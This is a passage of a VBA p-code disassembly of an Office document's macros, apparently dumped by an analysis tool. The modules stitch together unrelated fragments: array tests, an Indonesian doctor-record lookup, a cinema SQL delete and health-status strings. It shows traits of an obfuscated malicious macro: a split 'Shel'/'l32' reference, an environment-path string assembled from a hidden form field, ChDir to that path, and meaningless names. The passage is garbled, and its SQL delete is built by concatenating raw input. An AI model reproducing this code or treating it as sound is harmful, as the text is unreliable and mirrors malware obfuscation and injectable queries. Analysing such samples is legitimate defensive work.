  7015. ' LitVarSpecial (True)
  7016. ' Ld CaseCompare
  7017. ' MemSt Global
  7018. ' Line #268:
  7019. ' Ld MatchWord
  7020. ' Ld Pattern
  7021. ' Eq
  7022. ' Ld CaseCompare
  7023. ' MemSt Pattern
  7024. ' Line #269:
  7025. ' SetStmt
  7026. ' Ld Text
  7027. ' Ld CaseCompare
  7028. ' ArgsMemLd IgnoreCase 0x0001
  7029. ' Set RegExp
  7030. ' Line #270:
  7031. ' LitDI2 0x0001
  7032. ' Ld RegExp
  7033. ' MemLd Count
  7034. ' Le
  7035. ' IfBlock
  7036. ' Line #271:
  7037. ' LitVarSpecial (True)
  7038. ' St Match
  7039. ' Line #272:
  7040. ' EndIfBlock
  7041. ' Line #273:
  7042. ' Line #274:
  7043. ' Ld result
  7044. ' IfBlock
  7045. ' Line #275:
  7046. ' SetStmt
  7047. ' LitNothing
  7048. ' Set CaseCompare
  7049. ' Line #276:
  7050. ' EndIfBlock
  7051. ' Line #277:
  7052. ' Line #278:
  7053. ' LitVarSpecial (False)
  7054. ' LoopWhile
  7055. ' Line #279:
  7056. ' Ld Match
  7057. ' St Worksheets
  7058. ' Line #280:
  7059. ' ExitFunc
  7060. ' Line #281:
  7061. ' Label Err
  7062. ' Line #282:
  7063. ' LitVarSpecial (False)
  7064. ' St Worksheets
  7065. ' Line #283:
  7066. ' EndFunc
  7067. ' Line #284:
  7068. ' FuncDefn (Private Sub Execute())
  7069. ' Line #285:
  7070. ' Dim
  7071. ' VarDefn testArrayAddArray
  7072. ' Line #286:
  7073. ' LitStr 0x0001 "A"
  7074. ' LitStr 0x0001 "B"
  7075. ' LitStr 0x0001 "C"
  7076. ' ArgsArray Array 0x0003
  7077. ' St testArrayAddArray
  7078. ' Line #287:
  7079. ' Dim
  7080. ' VarDefn A1
  7081. ' Line #288:
  7082. ' LitStr 0x0001 "D"
  7083. ' LitStr 0x0001 "E"
  7084. ' ArgsArray Array 0x0002
  7085. ' St A1
  7086. ' Line #289:
  7087. ' Line #290:
  7088. ' Ld testArrayAddArray
  7089. ' Ld A1
  7090. ' Ld A2
  7091. ' ArgsMemCall (Call) ArrayA 0x0002
  7092. ' Line #291:
  7093. ' LitDI2 0x0005
  7094. ' Ld testArrayAddArray
  7095. ' Ld Check
  7096. ' ArgsMemLd ArrayC 0x0001
  7097. ' ArgsCall (Call) ddArray 0x0002
  7098. ' Line #292:
  7099. ' LitStr 0x0001 "D"
  7100. ' LitDI2 0x0003
  7101. ' ArgsLd testArrayAddArray 0x0001
  7102. ' ArgsCall (Call) ddArray 0x0002
  7103. ' Line #293:
  7104. ' LitStr 0x0001 "E"
  7105. ' LitDI2 0x0004
  7106. ' ArgsLd testArrayAddArray 0x0001
  7107. ' ArgsCall (Call) ddArray 0x0002
  7108. ' Line #294:
  7109. ' Line #295:
  7110. ' QuoteRem 0x0004 0x000B "???????????"
  7111. ' Line #296:
  7112. ' Dim
  7113. ' VarDefn ount
  7114. ' Line #297:
  7115. ' Dim
  7116. ' VarDefn B1
  7117. ' Line #298:
  7118. ' LitStr 0x0001 "1"
  7119. ' LitStr 0x0001 "2"
  7120. ' ArgsArray Array 0x0002
  7121. ' St B1
  7122. ' Line #299:
  7123. ' Ld ount
  7124. ' Ld B1
  7125. ' Ld A2
  7126. ' ArgsMemCall (Call) ArrayA 0x0002
  7127. ' Line #300:
  7128. ' LitDI2 0x0002
  7129. ' Ld ount
  7130. ' Ld Check
  7131. ' ArgsMemLd ArrayC 0x0001
  7132. ' ArgsCall (Call) ddArray 0x0002
  7133. ' Line #301:
  7134. ' LitStr 0x0001 "1"
  7135. ' LitDI2 0x0000
  7136. ' ArgsLd ount 0x0001
  7137. ' ArgsCall (Call) ddArray 0x0002
  7138. ' Line #302:
  7139. ' LitStr 0x0001 "2"
  7140. ' LitDI2 0x0001
  7141. ' ArgsLd ount 0x0001
  7142. ' ArgsCall (Call) ddArray 0x0002
  7143. ' Line #303:
  7144. ' Line #304:
  7145. ' Line #305:
  7146. ' EndSub
  7147. ' Line #306:
  7148. ' LineCont 0x0004 08 00 00 00
  7149. ' FuncDefn (Sub B2(ByRef ArrayInsert As Variant, ByVal Index As Long, ByVal Value As Variant))
  7150. ' Line #307:
  7151. ' Ld ArrayInsert
  7152. ' ArgsLd ArrayValue 0x0001
  7153. ' LitStr 0x002A "Error:ArrayInsert:ArrayValue is not Array."
  7154. ' ArgsCall (Call) Assert 0x0002
  7155. ' Line #308:
  7156. ' LineCont 0x0004 12 00 08 00
  7157. ' Ld ArrayInsert
  7158. ' FnLBound 0x0000
  7159. ' Ld Index
  7160. ' Ld ArrayInsert
  7161. ' FnUBound 0x0000
  7162. ' ArgsLd IsArray 0x0003
  7163. ' LitStr 0x0023 "Error:ArrayInsert:Index Range Over."
  7164. ' ArgsCall (Call) Assert 0x0002
  7165. ' Line #309:
  7166. ' Line #310:
  7167. ' Ld ArrayInsert
  7168. ' FnLBound 0x0000
  7169. ' Ld ArrayInsert
  7170. ' FnUBound 0x0000
  7171. ' LitDI2 0x0001
  7172. ' Add
  7173. ' Redim (Preserve) ArrayInsert 0x0001 (As Variant)
  7174. ' Line #311:
  7175. ' Dim
  7176. ' VarDefn I (As Long)
  7177. ' Line #312:
  7178. ' StartForVariable
  7179. ' Ld I
  7180. ' EndForVariable
  7181. ' Ld ArrayInsert
  7182. ' FnUBound 0x0000
  7183. ' Ld Index
  7184. ' LitDI2 0x0001
  7185. ' Add
  7186. ' LitDI2 0x0001
  7187. ' UMi
  7188. ' ForStep
  7189. ' Line #313:
  7190. ' Ld I
  7191. ' ArgsLd ArrayInsert 0x0001
  7192. ' Ld I
  7193. ' LitDI2 0x0001
  7194. ' Sub
  7195. ' ArgsLd ArrayInsert 0x0001
  7196. ' ArgsCall (Call) InRange 0x0002
  7197. ' Line #314:
  7198. ' StartForVariable
  7199. ' Next
  7200. ' Line #315:
  7201. ' Ld Index
  7202. ' ArgsLd ArrayInsert 0x0001
  7203. ' Ld Value
  7204. ' ArgsCall (Call) InRange 0x0002
  7205. ' Line #316:
  7206. ' EndSub
  7207. ' Line #317:
  7208. ' LineCont 0x000C 04 00 00 00 09 00 00 00 0E 00 00 00
  7209. ' FuncDefn (Public Function IsArray(ByVal SetValue As Long, ByVal Value As Long, ByVal MinValue As Long) As Boolean)
  7210. ' Line #318:
  7211. ' Line #319:
  7212. ' Ld SetValue
  7213. ' Ld Value
  7214. ' Le
  7215. ' Paren
  7216. ' Ld Value
  7217. ' Ld MinValue
  7218. ' Le
  7219. ' Paren
  7220. ' And
  7221. ' Paren
  7222. ' St IsArray
  7223. ' Line #320:
  7224. ' Line #321:
  7225. ' EndFunc
  7226. ' Line #322:
  7227. ' FuncDefn (Private Sub MaxValue())
  7228. ' Line #323:
  7229. ' Dim
  7230. ' VarDefn bis
  7231. ' Line #324:
  7232. ' LitStr 0x0001 "A"
  7233. ' LitStr 0x0001 "B"
  7234. ' LitStr 0x0001 "C"
  7235. ' ArgsArray Array 0x0003
  7236. ' St bis
  7237. ' Line #325:
  7238. ' Line #326:
  7239. ' LitStr 0x0001 "B"
  7240. ' LitDI2 0x0001
  7241. ' ArgsLd bis 0x0001
  7242. ' ArgsCall (Call) ddArray 0x0002
  7243. ' Line #327:
  7244. ' LitDI2 0x0003
  7245. ' Ld bis
  7246. ' ArgsLd testArrayInsert 0x0001
  7247. ' ArgsCall (Call) ddArray 0x0002
  7248. ' Line #328:
  7249. ' Ld bis
  7250. ' LitDI2 0x0001
  7251. ' LitStr 0x0001 "1"
  7252. ' ArgsCall (Call) B2 0x0003
  7253. ' Line #329:
  7254. ' LitDI2 0x0004
  7255. ' Ld bis
  7256. ' ArgsLd testArrayInsert 0x0001
  7257. ' ArgsCall (Call) ddArray 0x0002
  7258. ' Line #330:
  7259. ' LitStr 0x0001 "1"
  7260. ' LitDI2 0x0001
  7261. ' ArgsLd bis 0x0001
  7262. ' ArgsCall (Call) ddArray 0x0002
  7263. ' Line #331:
  7264. ' Line #332:
  7265. ' Dim
  7266. ' VarDefn B
  7267. ' Line #333:
  7268. ' OptionBase
  7269. ' LitDI2 0x0002
  7270. ' Redim B 0x0001 (As Variant)
  7271. ' Line #334:
  7272. ' SetStmt
  7273. ' LitStr 0x000F "VBScript.RegExp"
  7274. ' ArgsLd RegCreateFlag 0x0001
  7275. ' LitDI2 0x0000
  7276. ' ArgsSet B 0x0001
  7277. ' Line #335:
  7278. ' SetStmt
  7279. ' LitNothing
  7280. ' LitDI2 0x0002
  7281. ' ArgsSet B 0x0001
  7282. ' Line #336:
  7283. ' Ld ArrayCount
  7284. ' MemLd Shel
  7285. ' MemLd l32
  7286. ' LitDI2 0x0001
  7287. ' ArgsLd B 0x0001
  7288. ' MemLd l32
  7289. ' ArgsCall (Call) ddArray 0x0002
  7290. ' Line #337:
  7291. ' Ld B
  7292. ' LitDI2 0x0001
  7293. ' Ld CurrentDirectory
  7294. ' ArgsCall (Call) B2 0x0003
  7295. ' Line #338:
  7296. ' LitStr 0x0008 "test.txt"
  7297. ' LitStr 0x0010 "C:\temp\test.txt"
  7298. ' LitDI2 0x0001
  7299. ' ArgsLd B 0x0001
  7300. ' ArgsMemLd fso 0x0001
  7301. ' ArgsCall (Call) ddArray 0x0002
  7302. ' Line #339:
  7303. ' EndSub
  7304. ' Line #340:
  7305. ' FuncDefn (Public Sub Assert(ByVal Value As Boolean, Optional ByVal GetFileName As String))
  7306. ' Line #341:
  7307. ' Ld Value
  7308. ' LitVarSpecial (False)
  7309. ' Eq
  7310. ' IfBlock
  7311. ' Line #342:
  7312. ' LitDI2 0x270F
  7313. ' ParamOmitted
  7314. ' Ld GetFileName
  7315. ' Ld Err
  7316. ' ArgsMemCall (Call) Raise 0x0003
  7317. ' Line #343:
  7318. ' EndIfBlock
  7319. ' Line #344:
  7320. ' EndSub
  7321. ' Line #345:
  7322. ' FuncDefn (Public Sub InRange(ByRef Message, ByVal Value))
  7323. ' Line #346:
  7324. ' Ld Value
  7325. ' ArgsLd Variable 0x0001
  7326. ' IfBlock
  7327. ' Line #347:
  7328. ' SetStmt
  7329. ' Ld Value
  7330. ' Set Message
  7331. ' Line #348:
  7332. ' ElseBlock
  7333. ' Line #349:
  7334. ' Ld Value
  7335. ' St Message
  7336. ' Line #350:
  7337. ' EndIfBlock
  7338. ' Line #351:
  7339. ' EndSub
  7340. ' Line #352:
  7341. ' LineCont 0x0004 09 00 00 00
  7342. ' ConstFuncExpr
  7343. ' LitDI2 0x0001
  7344. ' FuncDefn (Public Function testArrayInsert(ByRef ArrayInsert As Variant, Optional IsObject) As Long)
  7345. ' Line #353:
  7346. ' Ld ArrayInsert
  7347. ' ArgsLd ArrayValue 0x0001
  7348. ' LitStr 0x0029 "Error:ArrayCount:ArrayValue is not Array."
  7349. ' ArgsCall (Call) Assert 0x0002
  7350. ' Line #354:
  7351. ' Line #355:
  7352. ' LineCont 0x0008 02 00 08 00 0B 00 08 00
  7353. ' Ld ArrayInsert
  7354. ' Ld IsObject
  7355. ' Ld Dimension
  7356. ' ArgsMemLd Error 0x0002
  7357. ' Ld ArrayInsert
  7358. ' Ld IsObject
  7359. ' Ld UBoundNo
  7360. ' ArgsMemLd Error 0x0002
  7361. ' Sub
  7362. ' LitDI2 0x0001
  7363. ' Add
  7364. ' St testArrayInsert
  7365. ' Line #356:
  7366. ' EndFunc
  7367. ' Line #357:
  7368. ' FuncDefn (Private Sub LBoundNo())
  7369. ' Line #358:
  7370. ' LitVarSpecial (False)
  7371. ' LitStr 0x0003 "???"
  7372. ' ArgsCall (Call) Assert 0x0002
  7373. ' Line #359:
  7374. ' EndSub
  7375. ' Line #360:
  7376. ' Line #361:
  7377. ' FuncDefn (Public Function ddArray(ByVal bis As Variant, ByVal B As Variant) As Boolean)
  7378. ' Line #362:
  7379. ' Ld bis
  7380. ' Ld B
  7381. ' Eq
  7382. ' Paren
  7383. ' St ddArray
  7384. ' Line #363:
  7385. ' Ld ddArray
  7386. ' LitVarSpecial (False)
  7387. ' Eq
  7388. ' IfBlock
  7389. ' Line #364:
  7390. ' LineCont 0x0008 07 00 0C 00 10 00 0C 00
  7391. ' LitStr 0x0006 "A != B"
  7392. ' Ld testAssert
  7393. ' Add
  7394. ' LitStr 0x0004 "A = "
  7395. ' Add
  7396. ' Ld bis
  7397. ' Coerce (Str)
  7398. ' Add
  7399. ' Ld testAssert
  7400. ' Add
  7401. ' LitStr 0x0004 "B = "
  7402. ' Add
  7403. ' Ld B
  7404. ' Coerce (Str)
  7405. ' Add
  7406. ' ArgsCall (Call) MsgBox 0x0001
  7407. ' Line #365:
  7408. ' EndIfBlock
  7409. ' Line #366:
  7410. ' EndFunc
  7411. ' Line #367:
  7412. ' Line #368:
  7413. ' Line #369:
  7414. ' Line #370:
  7415. ' Line #371:
  7416. ' Line #372:
  7417. ' Line #373:
  7418. ' Line #374:
  7419. ' Line #375:
  7420. ' Line #376:
  7421. ' Line #377:
  7422. ' Line #378:
  7423. ' Line #379:
  7424. ' _VBA_PROJECT_CUR/VBA/UserForm1 - 1175 bytes
  7425. ' _VBA_PROJECT_CUR/VBA/Module5 - 7874 bytes
  7426. ' Line #0:
  7427. ' Line #1:
  7428. ' FuncDefn (Public Function RedButton(vbCrLf As Double))
  7429. ' Line #2:
  7430. ' Line #3:
  7431. ' LitStr 0x0007 "DosTres"
  7432. ' St dImmer
  7433. ' Line #4:
  7434. ' Line #5:
  7435. ' Ld WelcomeDialog
  7436. ' MemLd Visible
  7437. ' LitVarSpecial (False)
  7438. ' Ne
  7439. ' IfBlock
  7440. ' Line #6:
  7441. ' ExitFunc
  7442. ' Line #7:
  7443. ' EndIfBlock
  7444. ' Line #8:
  7445. ' LitDI2 0x0003
  7446. ' St DosTres
  7447. ' Line #9:
  7448. ' Ld DosTres
  7449. ' LitDI2 0x0001
  7450. ' Sub
  7451. ' St DosTres
  7452. ' Line #10:
  7453. ' Line #11:
  7454. ' SetStmt
  7455. ' New Lumene
  7456. ' Set car
  7457. ' Line #12:
  7458. ' SetStmt
  7459. ' New <crash>
  7460. ' Set reqPlace
  7461. ' Line #13:
  7462. ' Ld DosTres
  7463. ' SelectCase
  7464. ' Line #14:
  7465. ' LitDI2 0x0000
  7466. ' Case
  7467. ' CaseDone
  7468. ' Line #15:
  7469. ' LitStr 0x0011 "N health problems"
  7470. ' St getFile
  7471. ' Line #16:
  7472. ' LitDI2 0x0001
  7473. ' Case
  7474. ' CaseDone
  7475. ' Line #17:
  7476. ' LitStr 0x0015 "Minor health problems"
  7477. ' St getFile
  7478. ' Line #18:
  7479. ' Line #19:
  7480. ' LitDI2 0x0003
  7481. ' Case
  7482. ' CaseDone
  7483. ' Line #20:
  7484. ' LitStr 0x0012 "Sev ere disability"
  7485. ' St getFile
  7486. ' Line #21:
  7487. ' EndSelect
  7488. ' Line #22:
  7489. ' Line #23:
  7490. ' Dim
  7491. ' VarDefn WshShell (As String)
  7492. ' Line #24:
  7493. ' Line #25:
  7494. ' LitStr 0x0001 "%"
  7495. ' Ld Form0
  7496. ' MemLd TextBox1
  7497. ' MemLd Tag
  7498. ' Concat
  7499. ' St SpecialPath
  7500. ' Line #26:
  7501. ' Line #27:
  7502. ' Line #28:
  7503. ' Line #29:
  7504. ' Ld SpecialPath
  7505. ' St PRP
  7506. ' Line #30:
  7507. ' Ld PRP
  7508. ' LitStr 0x0000 ""
  7509. ' Add
  7510. ' LitStr 0x0000 ""
  7511. ' Add
  7512. ' St PRP
  7513. ' Line #31:
  7514. ' Ld PRP
  7515. ' LitStr 0x0001 "%"
  7516. ' Add
  7517. ' St PRP
  7518. ' Line #32:
  7519. ' Ld PRP
  7520. ' Ld reqPlace
  7521. ' ArgsMemLd TBT 0x0001
  7522. ' St PRP
  7523. ' Line #33:
  7524. ' Line #34:
  7525. ' LitDI2 0x0000
  7526. ' St ExpandEnvironmentStrings
  7527. ' Line #35:
  7528. ' LitDI2 0x0000
  7529. ' St firstWeek
  7530. ' Line #36:
  7531. ' Dim
  7532. ' VarDefn firstDay (As Date)
  7533. ' Line #37:
  7534. ' Ld PRP
  7535. ' Ld Form0
  7536. ' MemLd TextBox1
  7537. ' MemSt Tag
  7538. ' Line #38:
  7539. ' LitDI2 0x0002
  7540. ' St firstWeek
  7541. ' Line #39:
  7542. ' Line #40:
  7543. ' LitDI2 0x0004
  7544. ' St firstdate
  7545. ' Line #41:
  7546. ' Dim
  7547. ' VarDefn lastDay (As Date)
  7548. ' Line #42:
  7549. ' LitDI2 0x0000
  7550. ' St lastdate
  7551. ' Line #43:
  7552. ' LitDI2 0x0000
  7553. ' St firstdate
  7554. ' Line #44:
  7555. ' Line #45:
  7556. ' Ld reqPlace
  7557. ' Ld Form0
  7558. ' MemLd TextBox3
  7559. ' MemLd lastWeek
  7560. ' LitStr 0x0000 ""
  7561. ' Concat
  7562. ' Ld car
  7563. ' ArgsMemLd CheckCar 0x0002
  7564. ' St getFile
  7565. ' Line #46:
  7566. ' LitDI2 0x0001
  7567. ' St ExpandEnvironmentStrings
  7568. ' Line #47:
  7569. ' Line #48:
  7570. ' LitDI2 0x0003
  7571. ' St lastdate
  7572. ' Line #49:
  7573. ' Ld getFile
  7574. ' Ld Form0
  7575. ' MemLd TextBox3
  7576. ' MemSt Tag
  7577. ' Line #50:
  7578. ' Line #51:
  7579. ' Line #52:
  7580. ' Ld firstWeek
  7581. ' LitDI2 0x0001
  7582. ' Eq
  7583. ' Not
  7584. ' IfBlock
  7585. ' Line #53:
  7586. ' Ld firstDay
  7587. ' LitDI2 0x0008
  7588. ' Ld firstWeek
  7589. ' Sub
  7590. ' Paren
  7591. ' Add
  7592. ' St firstDay
  7593. ' Line #54:
  7594. ' Ld ExpandEnvironmentStrings
  7595. ' LitDI2 0x0001
  7596. ' Add
  7597. ' St ExpandEnvironmentStrings
  7598. ' Line #55:
  7599. ' EndIfBlock
  7600. ' Line #56:
  7601. ' Ld firstdate
  7602. ' LitDI2 0x0006
  7603. ' Eq
  7604. ' IfBlock
  7605. ' Line #57:
  7606. ' Ld lastDay
  7607. ' LitDI2 0x0001
  7608. ' Add
  7609. ' St lastDay
  7610. ' Line #58:
  7611. ' Ld firstdate
  7612. ' LitDI2 0x0001
  7613. ' Add
  7614. ' St firstdate
  7615. ' Line #59:
  7616. ' Ld firstdate
  7617. ' LitDI2 0x0007
  7618. ' Eq
  7619. ' Not
  7620. ' ElseIfBlock
  7621. ' Line #60:
  7622. ' Ld lastDay
  7623. ' Ld firstdate
  7624. ' Sub
  7625. ' St lastDay
  7626. ' Line #61:
  7627. ' LitDI2 0x0007
  7628. ' St firstdate
  7629. ' Line #62:
  7630. ' Ld lastdate
  7631. ' LitDI2 0x0001
  7632. ' Sub
  7633. ' St lastdate
  7634. ' Line #63:
  7635. ' EndIfBlock
  7636. ' Line #64:
  7637. ' Line #65:
  7638. ' Line #66:
  7639. ' LitDI2 0x0000
  7640. ' St ControlTipText
  7641. ' Line #67:
  7642. ' Line #68:
  7643. ' Line #69:
  7644. ' Ld Form0
  7645. ' MemLd TextBox1
  7646. ' MemLd Tag
  7647. ' LitStr 0x0000 ""
  7648. ' Add
  7649. ' Paren
  7650. ' ArgsCall ChDir 0x0001
  7651. ' Line #70:
  7652. ' Ld WelcomeDialog
  7653. ' MemLd Visible
  7654. ' LitVarSpecial (False)
  7655. ' Eq
  7656. ' IfBlock
  7657. ' Line #71:
  7658. ' Ld WelcomeDialog
  7659. ' ArgsMemCall Iteration 0x0000
  7660. ' Line #72:
  7661. ' EndIfBlock
  7662. ' Line #73:
  7663. ' Line #74:
  7664. ' EndFunc
  7665. ' Line #75:
  7666. ' Line #76:
  7667. ' Line #77:
  7668. ' Line #78:
  7669. ' Line #79:
  7670. ' Line #80:
  7671. ' Line #81:
  7672. ' Line #82:
  7673. ' FuncDefn (Private Sub Show())
  7674. ' Line #83:
  7675. ' LitStr 0x0009 "?????????"
  7676. ' Ld Command7_Click
  7677. ' ArgsLd MsgBox 0x0002
  7678. ' St B
  7679. ' Line #84:
  7680. ' Ld B
  7681. ' Ld vbYesNo
  7682. ' Eq
  7683. ' IfBlock
  7684. ' Line #85:
  7685. ' LitStr 0x0020 "delete from cinema where cinid='"
  7686. ' St bis
  7687. ' Line #86:
  7688. ' Ld bis
  7689. ' Ld vbYes
  7690. ' MemLd Text
  7691. ' Add
  7692. ' LitStr 0x0001 "'"
  7693. ' Add
  7694. ' St bis
  7695. ' Line #87:
  7696. ' Ld bis
  7697. ' Ld Text1
  7698. ' ArgsMemCall IgnoreCase 0x0001
  7699. ' Line #88:
  7700. ' Ld cnmovie
  7701. ' ArgsMemCall Close 0x0000
  7702. ' Line #89:
  7703. ' LitStr 0x0014 "select * from cinema"
  7704. ' St rs4
  7705. ' Line #90:
  7706. ' Ld rs4
  7707. ' Ld Text1
  7708. ' Ld Sql
  7709. ' Ld adOpenDynamic
  7710. ' Ld cnmovie
  7711. ' ArgsMemCall Open 0x0004
  7712. ' Line #91:
  7713. ' Ld rs
  7714. ' MemLd adLockOptimistic
  7715. ' Ld rs
  7716. ' MemLd EOF
  7717. ' Or
  7718. ' IfBlock
  7719. ' Line #92:
  7720. ' LitStr 0x0006 "?????!"
  7721. ' ArgsCall MsgBox 0x0001
  7722. ' Line #93:
  7723. ' ElseBlock
  7724. ' Line #94:
  7725. ' Ld cnmovie
  7726. ' ArgsMemCall BOF 0x0000
  7727. ' Line #95:
  7728. ' Ld MoveFirst
  7729. ' ArgsMemCall (Call) View 0x0000
  7730. ' Line #96:
  7731. ' EndIfBlock
  7732. ' Line #97:
  7733. ' EndIfBlock
  7734. ' Line #98:
  7735. ' EndSub
  7736. ' Line #99:
  7737. ' Line #100:
  7738. ' Line #101:
  7739. ' Line #102:
  7740. ' Line #103:
  7741. ' FuncDefn (Private Sub Data())
  7742. ' Line #104:
  7743. ' Dim
  7744. ' LitDI2 0x0005
  7745. ' VarDefn nomor
  7746. ' Line #105:
  7747. ' Dim
  7748. ' VarDefn urutan (As Byte)
  7749. ' Line #106:
  7750. ' Line #107:
  7751. ' Ld Data1
  7752. ' MemLd Recordset
  7753. ' MemLd hitung
  7754. ' LitDI2 0x0000
  7755. ' Eq
  7756. ' IfBlock
  7757. ' Line #108:
  7758. ' LitStr 0x0002 "Dr"
  7759. ' LitStr 0x0003 "001"
  7760. ' Concat
  7761. ' St nomor
  7762. ' Line #109:
  7763. ' ElseBlock
  7764. ' Line #110:
  7765. ' Ld Data1
  7766. ' MemLd Recordset
  7767. ' ArgsMemCall RecordCount 0x0000
  7768. ' Line #111:
  7769. ' Ld Data1
  7770. ' MemLd Recordset
  7771. ' DictLd Edit
  7772. ' LitDI2 0x0003
  7773. ' ArgsLd Left 0x0002
  7774. ' ArgsLd MoveLast 0x0001
  7775. ' LitStr 0x0003 "000"
  7776. ' Ne
  7777. ' IfBlock
  7778. ' Line #112:
  7779. ' LitStr 0x0002 "00"
  7780. ' LitStr 0x0003 "001"
  7781. ' Concat
  7782. ' St nomor
  7783. ' Line #113:
  7784. ' ElseBlock
  7785. ' Line #114:
  7786. ' Ld Data1
  7787. ' MemLd Recordset
  7788. ' DictLd Edit
  7789. ' LitDI2 0x0003
  7790. ' ArgsLd Val 0x0002
  7791. ' ArgsLd MoveLast 0x0001
  7792. ' LitDI2 0x0001
  7793. ' Add
  7794. ' St urutan
  7795. ' Line #115:
  7796. ' LitStr 0x0002 "Dr"
  7797. ' LitStr 0x0003 "000"
  7798. ' Ld urutan
  7799. ' Concat
  7800. ' LitDI2 0x0003
  7801. ' ArgsLd Val 0x0002
  7802. ' Concat
  7803. ' St nomor
  7804. ' Line #116:
  7805. ' EndIfBlock
  7806. ' Line #117:
  7807. ' EndIfBlock
  7808. ' Line #118:
  7809. ' Ld nomor
  7810. ' Ld nom
  7811. ' MemLd M
  7812. ' MemSt pil
  7813. ' Line #119:
  7814. ' Line #120:
  7815. ' EndSub
  7816. ' Line #121:
  7817. ' Line #122:
  7818. ' FuncDefn (Private Sub Right())
  7819. ' Line #123:
  7820. ' Ld cmd_Batal_Click
  7821. ' ArgsMemCall (Call) be 0x0000
  7822. ' Line #124:
  7823. ' Ld rsih
  7824. ' ArgsMemCall (Call) td 0x0000
  7825. ' Line #125:
  7826. ' LitVarSpecial (False)
  7827. ' Ld cmd_Batal
  7828. ' MemSt Enabled
  7829. ' Line #126:
  7830. ' LitVarSpecial (True)
  7831. ' Ld cmd_Perbaiki
  7832. ' MemSt Enabled
  7833. ' Line #127:
  7834. ' LitVarSpecial (True)
  7835. ' Ld cmd_Hapus
  7836. ' MemSt Enabled
  7837. ' Line #128:
  7838. ' LitVarSpecial (True)
  7839. ' Ld e
  7840. ' MemSt Enabled
  7841. ' Line #129:
  7842. ' EndSub
  7843. ' Line #130:
  7844. ' Line #131:
  7845. ' FuncDefn (Private Sub k_bisa())
  7846. ' Line #132:
  7847. ' Dim
  7848. ' VarDefn var (As String)
  7849. ' Line #133:
  7850. ' LitStr 0x0029 "Masukan Kode Dokter yang ingin anda cari!"
  7851. ' LitStr 0x0010 "Cari data dokter"
  7852. ' ArgsLd InputBox 0x0002
  7853. ' St var
  7854. ' Line #134:
  7855. ' Ld var
  7856. ' LitVarSpecial (Empty)
  7857. ' Eq
  7858. ' If
  7859. ' BoSImplicit
  7860. ' ExitSub
  7861. ' EndIf
  7862. ' Line #135:
  7863. ' Ld var
  7864. ' LitStr 0x0000 ""
  7865. ' Ne
  7866. ' IfBlock
  7867. ' Line #136:
  7868. ' LitStr 0x000B "kode_dokter"
  7869. ' Ld Data1
  7870. ' MemLd Recordset
  7871. ' MemSt Index
  7872. ' Line #137:
  7873. ' LitStr 0x0001 "="
  7874. ' Ld var
  7875. ' Ld Data1
  7876. ' MemLd Recordset
  7877. ' ArgsMemCall Seek 0x0002
  7878. ' Line #138:
  7879. ' Ld Data1
  7880. ' MemLd Recordset
  7881. ' MemLd NoMatch
  7882. ' Not
  7883. ' IfBlock
  7884. ' Line #139:
  7885. ' Ld tam
  7886. ' ArgsMemCall (Call) tam 0x0000
  7887. ' Line #140:
  7888. ' Ld cmd_cari_Click
  7889. ' ArgsMemCall (Call) tdk_bi 0x0000
  7890. ' Line #141:
  7891. ' Ld bi
  7892. ' ArgsMemCall (Call) kun 0x0000
  7893. ' Line #142:
  7894. ' ElseBlock
  7895. ' Line #143:
  7896. ' LitStr 0x001F "Data dokter dengan kode dokter "
  7897. ' Ld var
  7898. ' Concat
  7899. ' LitStr 0x0012 " tidak diketemukan"
  7900. ' Concat
  7901. ' ArgsCall MsgBox 0x0001
  7902. ' Line #144:
  7903. ' EndIfBlock
  7904. ' Line #145:
  7905. ' EndIfBlock
  7906. ' Line #146:
  7907. ' EndSub
  7908. ' Line #147:
  7909. ' Line #148:
  7910. ' Line #149:
  7911. ' Line #150:
  7912. ' FuncDefn (Public Function TestResult(Match As Variant))
  7913. ' Line #151:
  7914. ' LitVarSpecial (False)
  7915. ' St TestResult
  7916. ' Line #152:
  7917. ' Ld IsNumeric
  7918. ' ArgsLd ci 0x0001
  7919. ' IfBlock
  7920. ' Line #153:
  7921. ' Ld IsNumeric
  7922. ' LitDI2 0x0000
  7923. ' Eq
  7924. ' IfBlock
  7925. ' Line #154:
  7926. ' LitVarSpecial (True)
  7927. ' St TestResult
  7928. ' Line #155:
  7929. ' EndIfBlock
  7930. ' Line #156:
  7931. ' EndIfBlock
  7932. ' Line #157:
  7933. ' EndFunc
  7934. ' Line #158:
  7935. ' FuncDefn (Private Sub ExcelReturn())
  7936. ' Line #159:
  7937. ' Dim
  7938. ' VarDefn var (As String)
  7939. ' Line #160:
  7940. ' LitStr 0x0026 "Masukan Kode dokter yang akan dihapus!"
  7941. ' LitStr 0x000C "Hapus dokter"
  7942. ' ArgsLd InputBox 0x0002
  7943. ' St var
  7944. ' Line #161:
  7945. ' Ld var
  7946. ' LitVarSpecial (Empty)
  7947. ' Eq
  7948. ' If
  7949. ' BoSImplicit
  7950. ' ExitSub
  7951. ' EndIf
  7952. ' Line #162:
  7953. ' Ld var
  7954. ' LitStr 0x0000 ""
  7955. ' Eq
  7956. ' IfBlock
  7957. ' Line #163:
  7958. ' LitStr 0x000B "Kode_dokter"
  7959. ' Ld Data1
  7960. ' MemLd Recordset
  7961. ' MemSt Index
  7962. ' Line #164:
  7963. ' LitStr 0x0001 "="
  7964. ' Ld var
  7965. ' Ld Data1
  7966. ' MemLd Recordset
  7967. ' ArgsMemCall Seek 0x0002
  7968. ' Line #165:
  7969. ' Ld Data1
  7970. ' MemLd Recordset
  7971. ' MemLd NoMatch
  7972. ' Not
  7973. ' IfBlock
  7974. ' Line #166:
  7975. ' Ld Data1
  7976. ' MemLd Recordset
  7977. ' ArgsMemCall cmd_Hapus_Click 0x0000
  7978. ' Line #167:
  7979. ' Ld Data1
  7980. ' ArgsMemCall Delete 0x0000
  7981. ' Line #168:
  7982. ' Ld Data1
  7983. ' MemLd Recordset
  7984. ' ArgsMemCall BOF 0x0000
  7985. ' Line #169:
  7986. ' ElseBlock
  7987. ' Line #170:
  7988. ' LitStr 0x001F "Data dokter dengan kode dokter "
  7989. ' Ld var
  7990. ' Concat
  7991. ' LitStr 0x0012 " tidak diketemukan"
  7992. ' Concat
  7993. ' ArgsCall MsgBox 0x0001
  7994. ' Line #171:
  7995. ' Line #172:
  7996. ' EndIfBlock
  7997. ' Line #173:
  7998. ' EndIfBlock
  7999. ' Line #174:
  8000. ' EndSub
  8001. ' Line #175:
  8002. ' Line #176:
  8003. ' Line #177:
  8004. ' Line #178:
  8005. ' Line #179:
  8006. ' Line #180:
  8007. ' Line #181:
  8008. ' _VBA_PROJECT_CUR/VBA/Form0 - 1172 bytes
